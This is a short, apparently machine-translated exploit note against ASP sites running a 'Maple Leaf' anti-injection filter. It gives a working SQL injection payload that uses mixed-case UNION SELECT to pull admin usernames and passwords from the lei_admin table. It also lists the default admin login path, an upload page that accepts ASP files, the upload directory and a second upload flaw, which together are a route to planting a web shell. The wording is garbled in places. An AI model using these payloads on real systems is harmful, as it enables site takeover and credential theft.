Maple Leaf anti-injection program Vulnerability

This program uses Maple Leaf universal anti-injection 1.0asp version, this anti-injection completely chicken ribs, this type of website program pro_show.asp
Cookie injection or variant injection is available. before injection, you can determine the number of fields: ORdeR By xx

Injection statement: ANd 1 = 1 UNiOn SElEcT 1, username, 3, 4, 5, 6, 7, 8, 9, 10, password, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28 FrOm lei_admin
The number of fields is subject to personal judgment.

The password is available in both plain and plain. The default backend address is admin/index/login. asp)

Background upload address: admin/inc/upfile.htm can directly upload asp files

Upload path admin/upimg/

Some background dual-File Upload vulnerabilities: admin/inc/upfiletwo. asp